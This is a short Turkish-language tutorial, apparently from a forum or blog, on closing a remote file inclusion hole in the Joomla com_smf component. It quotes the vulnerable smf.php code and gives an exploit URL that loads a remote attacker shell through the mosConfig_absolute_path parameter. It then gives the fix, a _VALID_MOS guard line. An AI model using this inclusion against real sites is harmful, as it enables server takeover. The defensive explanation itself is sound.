|
Joomla! sitenizin kodlamalarının erişime açık olmasına neden olan güvenlik açıklarının kapatılması ile ilgili faydalı bir ders.
Bu dersimizde anlatacağımız açık şu şekilde tespit edilir: /components/com_smf/smf.php?mosConfig_absolute_path= burada bulunan smf.php'yi incelediğimizde şöyle bir şeyle karşılaşıyoruz. global $database, $db_prefix, $mosConfig_absolute_path, $bridge_reg, $wrapped, $mosConfig_live_site, $mosConfig_sef, $mosConfig_db;
require($mosConfig_absolute_path . '/administrator/components/com_smf/config.smf.php');
$_SERVER['QUERY_STRING'] = strtr($_SERVER['QUERY_STRING'], array('&?' => '&', '#' => '.')); Burada görüldüğü gibi, bize bu yeri açık olarak bildirmiş. $mosConfig_absolute_path . '/administrator/components/com_smf/config.smf.php Yani biz buradan uzaktaki bir kodu çağırabiliriz. Şu şekilde: /components/com_smf/smf.php?mosConfig_absolute_path=zararli_kodun_adresi buraya uzaktaki zararlı kodun adresini yazıyoruz (shell adresimiz) ve kendimizi sunucuda buluyoruz. Ancak smf.php'nin kodlamasında şu satır unutulmasaydı, herhangi bir kod çağırılamayacaktı. defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' ); Bu kodun unutulmasından dolayı birçok site saldırıya uğrayıp çökertilmektedir. Özet olarak; sitenizde bulunan tüm PHP dosyalarının başında defined( '_VALID_MOS' ) or die( 'Erisim Engellendi.' ); kodu bulunmalıdır. |